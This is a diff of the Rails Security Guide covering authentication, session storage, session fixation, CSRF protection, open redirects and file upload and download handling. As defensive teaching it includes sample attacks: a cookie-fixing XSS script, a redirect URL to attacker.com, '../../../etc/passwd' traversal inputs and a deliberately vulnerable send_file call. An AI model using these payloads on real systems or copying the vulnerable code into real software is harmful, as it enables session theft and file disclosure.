+a "forgot password?" link on the "sign in" page. Clicking that link navigates to
+the `/passwords/new` path and routes to the passwords controller. The `new`
+method of the `PasswordsController` class runs through the flow for sending a
+password reset email.
+
+The link is valid for 15 minutes by default, but this can be configured with
+`has_secure_password`.
+
+The mailers for *reset password* are also set up by the generator at
+`app/mailers/password_mailer.rb` and render the following email to send to the
+user:
+
+```html+erb
+# app/views/passwords_mailer/reset.html.erb
+<p>
+  You can reset your password within the next 15 minutes on
+  <%= link_to "this password reset page", edit_password_url(@user.password_reset_token) %>.
+</p>
+```
+
+### Implementation Details
+
+This section covers some of the implementation details around the authentication
+flow added by the authentication generator: The `has_secure_password` method,
+the `authenticate_by` method, and the `Authentication` concern.
+
+#### `has_secure_password`
+
+The
+[`has_secure_password`](https://api.rubyonrails.org/classes/ActiveModel/SecurePassword/ClassMethods.html#method-i-has_secure_password)
+method is added to the `user` model and takes care of storing a hashed password
+using the `bcrypt` algorithm:
 
-In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems.
+```ruby
+class User < ApplicationRecord
+  has_secure_password
+  has_many :sessions, dependent: :destroy
 
-Sessions
---------
+  normalizes :email_address, with: -> e { e.strip.downcase }
+end
+```
 
-A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
+NOTE: `has_secure_password` adds the following validations automatically:<br/><br/>
+- Password must be present on creation<br/>
+- Password length should be less than or equal to 72 bytes<br/>
+- Confirmation of password (using a XXX_confirmation attribute)<br/><br/>
+However it doesn't validate the minimum length or the complexity of the password, you need to define validation for those yourself.
 
-### What are Sessions?
+#### `authenticate_by`
 
-NOTE: _HTTP is a stateless protocol. Sessions make it stateful._
+The
+[`authenticate_by`](https://api.rubyonrails.org/classes/ActiveRecord/SecurePassword/ClassMethods.html)
+method is used in the `SessionsController` while creating a new session to
+validate that the credentials provided by the user match the credentials stored
+in the database (e.g. password) for that user:
 
-Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
-Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
+```ruby
+class SessionsController < ApplicationController
+  def create
+    if user = User.authenticate_by(params.permit(:email_address, :password))
+      start_new_session_for user
+      redirect_to after_authentication_url
+    else
+      redirect_to new_session_url, alert: "Try another email address or password."
+    end
+  end
 
-A session usually consists of a hash of values and a session ID, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session ID. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
+  # ...
+end
+```
 
-```ruby
-session[:user_id] = @current_user.id
-User.find(session[:user_id])
+If the credentials are valid, a new `Session` is created for that user.
+
+#### Session Management
+
+The core functionality around session management is implemented in the
+`Authentication` controller concern, which is included by the
+`ApplicationController` in your application. You can explore details of the
+[authentication
+concern](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authentication.rb.tt)
+in the source code.
+
+One method to note in the `Authentication` concern is `authenticated?`, a helper
+method available in view templates. You can use this method to conditionally
+display links/buttons depending on whether a user is currently authenticated.
+For example:
+
+```html+erb
+<% if authenticated? %>
+  <%= button_to "Sign Out", session_path, method: :delete  %>
+<% else %>
+  <%= link_to "Sign In", new_session_path %>
+<% end %>
 ```
 
-### Session ID
+TIP: You can find all of the details for the Authentication generator in the
+Rails source code. You are encouraged to explore the implementation details and
+not treat authentication as a black box.
+
+With the authentication generator configured as above, your application is ready
+for a more secure user authentication and password recovery process in just a
+few steps.
+
+Sessions
+--------
+
+This chapter describes some particular attacks related to sessions, and security measures to protect your session data.
+
+### What are Sessions?
+
+INFO: Sessions enable the application to maintain user-specific state, while users interact with the application. For example, sessions allow users to authenticate once and remain signed in for future requests.
 
-NOTE: _The session ID is a 32-character random hex string._
+Most applications need to keep track of state for users that interact with the application. This could be the contents of a shopping basket, or the user id of the currently logged in user. This kind of user-specific state can be stored in the session.
 
-The session ID is generated using `SecureRandom.hex` which generates a random hex string using platform specific methods (such as OpenSSL, /dev/urandom or Win32) for generating cryptographically secure random numbers. Currently it is not feasible to brute-force Rails' session IDs.
+Rails provides a session object for each user that accesses the application. If the user already has an active session, Rails uses the existing session. Otherwise a new session is created.
+
+NOTE: Read more about sessions and how to use them in [Action Controller Overview Guide](action_controller_overview.html#session).
 
 ### Session Hijacking
 
 WARNING: _Stealing a user's session ID lets an attacker use the web application in the victim's name._
 
-Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session ID in the cookie identifies the session.
+Many web applications have an authentication system: a user provides a username and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session ID in the cookie identifies the session.
 
 Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
 
@@ -74,50 +278,101 @@ Hence, the cookie serves as temporary authentication for the web application. An
 
 * Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
 
-The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
+### Session Storage
 
-### Session Guidelines
+NOTE: Rails uses `ActionDispatch::Session::CookieStore` as the default session storage.
 
-Here are some general guidelines on sessions.
+TIP: Learn more about other session storages in [Action Controller Overview Guide](action_controller_overview.html#session).
 
-* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
-This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+Rails `CookieStore` saves the session hash in a cookie on the client-side.
+The server retrieves the session hash from the cookie and
+eliminates the need for a session ID. That will greatly increase the
+speed of the application, but it is a controversial storage option and
+you have to think about the security implications and storage
+limitations of it:
 
-* _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+* Cookies have a size limit of 4 kB. Use cookies only for data which is relevant for the session.
 
-### Session Storage
+* Cookies are stored on the client-side. The client may preserve cookie contents even for expired cookies. The client may copy cookies to other machines. Avoid storing sensitive data in cookies.
+
+* Cookies are temporary by nature. The server can set expiration time for the cookie, but the client may delete the cookie and its contents before that. Persist all data that is of more permanent nature on the server side.
+
+* Session cookies do not invalidate themselves and can be maliciously
+  reused. It may be a good idea to have your application invalidate old
+  session cookies using a stored timestamp.
 
-NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._
+* Rails encrypts cookies by default. The client cannot read or edit the contents of the cookie, without breaking encryption. If you take appropriate care of your secrets, you can consider your cookies to be generally secured.
 
-Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session ID. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
+The `CookieStore` uses the
+[encrypted](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted)
+cookie jar to provide a secure, encrypted location to store session
+data. Cookie-based sessions thus provide both integrity as well as
+confidentiality to their contents. The encryption key, as well as the
+verification key used for
+[signed](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed)
+cookies, is derived from the `secret_key_base` configuration value.
 
-* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_.
+TIP: Secrets must be long and random. Use `bin/rails secret` to get new unique secrets.
 
-* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret (`secrets.secret_token`) and inserted into the end of the cookie.
+INFO: Learn more about [managing credentials later in this guide](security.html#custom-credentials)
 
-However, since Rails 4, the default store is EncryptedCookieStore. With
-EncryptedCookieStore the session is encrypted before being stored in a cookie.
-This prevents the user from accessing and tampering the content of the cookie.
-Thus the session becomes a more secure place to store data. The encryption is
-done using a server-side secret key `secrets.secret_key_base` stored in
-`config/secrets.yml`.
+It is also important to use different salt values for encrypted and
+signed cookies. Using the same value for different salt configuration
+values may lead to the same derived key being used for different
+security features which in turn may weaken the strength of the key.
 
-That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters, use `rails secret` instead_.
+In test and development applications get a `secret_key_base` derived from the app name. Other environments must use a random key present in `config/credentials.yml.enc`, shown here in its decrypted state:
+
+```yaml
+secret_key_base: 492f...
+```
+
+WARNING: If your application's secrets may have been exposed, strongly consider changing them. Note that changing `secret_key_base` will expire currently active sessions and require all users to log in again. In addition to session data: encrypted cookies, signed cookies, and Active Storage files may also be affected.
+
+### Rotating Encrypted and Signed Cookies Configurations
+
+Rotation is ideal for changing cookie configurations and ensuring old cookies
+aren't immediately invalid. Your users then have a chance to visit your site,
+get their cookie read with an old configuration and have it rewritten with the
+new change. The rotation can then be removed once you're comfortable enough
+users have had their chance to get their cookies upgraded.
+
+It's possible to rotate the ciphers and digests used for encrypted and signed cookies.
+
+For instance to change the digest used for signed cookies from SHA1 to SHA256,
+you would first assign the new configuration value:
+
+```ruby
+Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"
+```
 
-`secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.:
+Now add a rotation for the old SHA1 digest so existing cookies are
+seamlessly upgraded to the new SHA256 digest.
 
-    development:
-      secret_key_base: a75d...
+```ruby
+Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
+  cookies.rotate :signed, digest: "SHA1"
+end
+```
 
-    test:
-      secret_key_base: 492f...
+Then any written signed cookies will be digested with SHA256. Old cookies
+that were written with SHA1 can still be read, and if accessed will be written
+with the new digest so they're upgraded and won't be invalid when you remove the
+rotation.
 
-    production:
-      secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+Once users with SHA1 digested signed cookies should no longer have a chance to
+have their cookies rewritten, remove the rotation.
 
-Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information.
+While you can set up as many rotations as you'd like it's not common to have many
+rotations going at any one time.
 
-If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.
+For more details on key rotation with encrypted and signed messages as
+well as the various options the `rotate` method accepts, please refer to
+the
+[MessageEncryptor API](https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html)
+and
+[MessageVerifier API](https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html)
+documentation.
 
 ### Replay Attacks for CookieStore Sessions
 
@@ -133,17 +388,17 @@ It works like this:
 
 Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers. Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
 
-The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
+The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the `logged_in_user_id` in the session.
 
 ### Session Fixation
 
 NOTE: _Apart from stealing a user's session ID, the attacker may fix a session ID known to them. This is called session fixation._
 
-![Session fixation](images/session_fixation.png)
+![Session fixation](images/security/session_fixation.png)
 
 This attack focuses on fixing a user's session ID known to the attacker, and forcing the user's browser into using this ID. It is therefore not necessary for the attacker to steal the session ID afterwards. Here is how this attack works:
 
-* The attacker creates a valid session ID: They load the login page of the web application where they want to fix the session, and take the session ID in the cookie from the response (see number 1 and 2 in the image).
+* The attacker creates a valid session ID: They load the login page of the web application where they want to fix the session, and take the session ID in the cookie from the response (see numbers 1 and 2 in the image).
 * They maintain the session by accessing the web application periodically in order to keep an expiring session alive.
 * The attacker forces the user's browser into using this session ID (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
 * The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session ID to the trap session ID.
@@ -166,27 +421,22 @@ Another countermeasure is to _save user-specific properties in the session_, ver
 
 ### Session Expiry
 
-NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._
+NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking, and session fixation._
 
-One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
+One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep(20.minutes)` to expire sessions that were used longer than 20 minutes ago.
 
 ```ruby
 class Session < ApplicationRecord
   def self.sweep(time = 1.hour)
-    if time.is_a?(String)
-      time = time.split.inject { |count, unit| count.to_i.send(unit) }
-    end
-
-    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
+    where(updated_at: ...time.ago).delete_all
   end
 end
 ```
 
-The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
+The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a `created_at` column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
 
 ```ruby
-delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
-  created_at < '#{2.days.ago.to_s(:db)}'"
+where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all
 ```
 
 Cross-Site Request Forgery (CSRF)
@@ -194,7 +444,7 @@ Cross-Site Request Forgery (CSRF)
 
 This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
 
-![](images/csrf.png)
+![Cross-Site Request Forgery](images/security/csrf.png)
 
 In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session ID in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example:
 
@@ -204,7 +454,7 @@ In the [session chapter](#sessions) you have learned that most Rails application
 * The web application at `www.webapp.com` verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
 * Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.
 
-It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.
+It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post, or email.
 
 CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - _CSRF is an important security issue_.
 
@@ -212,7 +462,9 @@ CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less th
 
 NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
 
-The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
+#### Use GET and POST Appropriately
+
+The HTTP protocol basically provides two main types of requests - GET and POST (DELETE, PUT, and PATCH should be used like POST). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
 
 **Use GET if:**
 
@@ -224,7 +476,7 @@ The HTTP protocol basically provides two main types of requests - GET and POST (
 * The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
 * The user is _held accountable for the results_ of the interaction.
 
-If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however, do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier.
+If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT, or DELETE. Some legacy web browsers, however, do not support them - only GET and POST. Rails uses a hidden `_method` field to handle these cases.
 
 _POST requests can be sent automatically, too_. In this example, the link www.harmless.com is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request.
 
@@ -247,29 +499,59 @@ Or the attacker places the code into the onmouseover event handler of an image:
 
 There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we must disallow cross-site `<script>` tags. Ajax requests, however, obey the browser's same-origin policy (only your own site is allowed to initiate `XmlHttpRequest`) so we can safely allow them to return JavaScript responses.
 
-Note: We can't distinguish a `<script>` tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all `<script>` across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a `<script>` tag.
+NOTE: We can't distinguish a `<script>` tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all `<script>` across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a `<script>` tag.
+
+#### Required Security Token
 
-To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created Rails applications:
+To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is done automatically when [`config.action_controller.default_protect_from_forgery`][] is set to `true`, which is the default for newly created Rails applications. You can also do it manually by adding the following to your application controller:
 
 ```ruby
 protect_from_forgery with: :exception
 ```
 
-This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.
+This will include a security token in all forms generated by Rails. If the
+security token doesn't match what was expected, an exception will be thrown.
+
+When submitting forms with [Turbo](https://turbo.hotwired.dev/) the security
+token is required as well. Turbo looks for the token in the `csrf` meta tags of
+your application layout and adds it to request in the `X-CSRF-Token` request
+header. These meta tags are created with the [`csrf_meta_tags`][] helper
+method:
+
+```erb
+<head>
+  <%= csrf_meta_tags %>
+</head>
+```
+
+which results in:
+
+```html
+<head>
+  <meta name="csrf-param" content="authenticity_token" />
+  <meta name="csrf-token" content="THE-TOKEN" />
+</head>
+```
+
+When making your own non-GET requests from JavaScript the security token is
+required as well. [Rails Request.JS](https://github.com/rails/request.js) is a
+JavaScript library that encapsulates the logic of adding the required request
+headers.
+
+When using another library to make Ajax calls, it is necessary to add the
+security token as a default header yourself. To get the token from the meta tag
+you could do something like:
+
+```javascript
+document.head.querySelector("meta[name=csrf-token]")?.content
+```
 
-NOTE: By default, Rails includes jQuery and an [unobtrusive scripting adapter for
-jQuery](https://github.com/rails/jquery-ujs), which adds a header called
-`X-CSRF-Token` on every non-GET Ajax call made by jQuery with the security token.
-Without this header, non-GET Ajax requests won't be accepted by Rails. When using
-another library to make Ajax calls, it is necessary to add the security token as
-a default header for Ajax calls in your library. To get the token, have a look at
-`<meta name='csrf-token' content='THE-TOKEN'>` tag printed by
-`<%= csrf_meta_tags %>` in your application view.
+#### Clearing Persistent Cookies
 
 It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
 
 ```ruby
-rescue_from ActionController::InvalidAuthenticityToken do |exception|
+rescue_from ActionController::InvalidCrossOriginRequest do |exception|
   sign_out_user # Example method that will destroy the user cookies
 end
 ```
@@ -278,6 +560,9 @@ The above method can be placed in the `ApplicationController` and will be called
 
 Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read [more about XSS](#cross-site-scripting-xss) later.
 
+[`config.action_controller.default_protect_from_forgery`]: configuring.html#config-action-controller-default-protect-from-forgery
+[`csrf_meta_tags`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_tags
+
 Redirection and Files
 ---------------------
 
@@ -285,23 +570,23 @@ Another class of security vulnerabilities surrounds the use of redirection and f
 
 ### Redirection
 
-WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap website, they may also create a self-contained attack._
 
 Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to=www.attacker.com. Here is an example of a legacy action:
 
 ```ruby
 def legacy
-  redirect_to(params.update(action:'main'))
+  redirect_to(params.update(action: "main"))
 end
 ```
 
-This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
+This will redirect the user to the main action if they try to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by an attacker if they include a host key in the URL:
 
 ```
 http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
 ```
 
-If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to a URL, check it with a whitelist or a regular expression_.
+If it is at the end of the URL it will hardly be noticed and redirects the user to the `attacker.com` host. As a general rule, passing user input directly into `redirect_to` is considered dangerous. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a permitted list approach, as opposed to removing unexpected parameters). _And if you redirect to a URL, check it with a permitted list or a regular expression_.
 
 #### Self-contained XSS
 
@@ -315,24 +600,24 @@ This example is a Base64 encoded JavaScript which displays a simple message box.
 
 NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
 
-Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers, and other programs as a less privileged Unix user.
 
-When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):
+When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a permitted list approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a restricted list approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):
 
 ```ruby
 def sanitize_filename(filename)
   filename.strip.tap do |name|
     # NOTE: File.basename doesn't work right with Windows paths on Unix
     # get only the filename, not the whole path
-    name.sub! /\A.*(\\|\/)/, ''
-    # Finally, replace all non alphanumeric, underscore
+    name.sub!(/\A.*(\\|\/)/, "")
+    # Finally, replace all non-alphanumeric, underscore
     # or periods with underscore
-    name.gsub! /[^\w\.\-]/, '_'
+    name.gsub!(/[^\w.-]/, "_")
   end
 end
 ```
 
-A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+A significant disadvantage of synchronous processing of file uploads (as the `attachment_fu` plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
 
 The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
 
@@ -340,108 +625,63 @@ The solution to this is best to _process media files asynchronously_: Save the m
 
 WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
 
-The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.
+The popular Apache web server has an option called DocumentRoot. This is the home directory of the website, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.
 
-_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
+_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level upwards.
 
 ### File Downloads
 
 NOTE: _Make sure users cannot download arbitrary files._
 
-Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
+Just as you have to filter file names for uploads, you have to do so for downloads. The `send_file()` method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
 
 ```ruby
-send_file('/var/www/uploads/' + params[:filename])
+send_file("/var/www/uploads/" + params[:filename])
 ```
 
 Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
 
 ```ruby
-basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+basename = File.expand_path("../../files", __dir__)
 filename = File.expand_path(File.join(basename, @file.public_filename))
-raise if basename !=
-     File.expand_path(File.join(File.dirname(filename), '../../../'))
-send_file filename, disposition: 'inline'
+raise if basename != File.expand_path(File.dirname(filename))
+send_file filename, disposition: "inline"
 ```
 
-Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
-
-Intranet and Admin Security
----------------------------
-
-Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.
-
-In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

-
-**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
-
-Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
-
-Refer to the Injection section for countermeasures against XSS.
-
-**CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
-
-A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for the user, but it also contained an image tag that resulted in an HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
-
-Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.

-
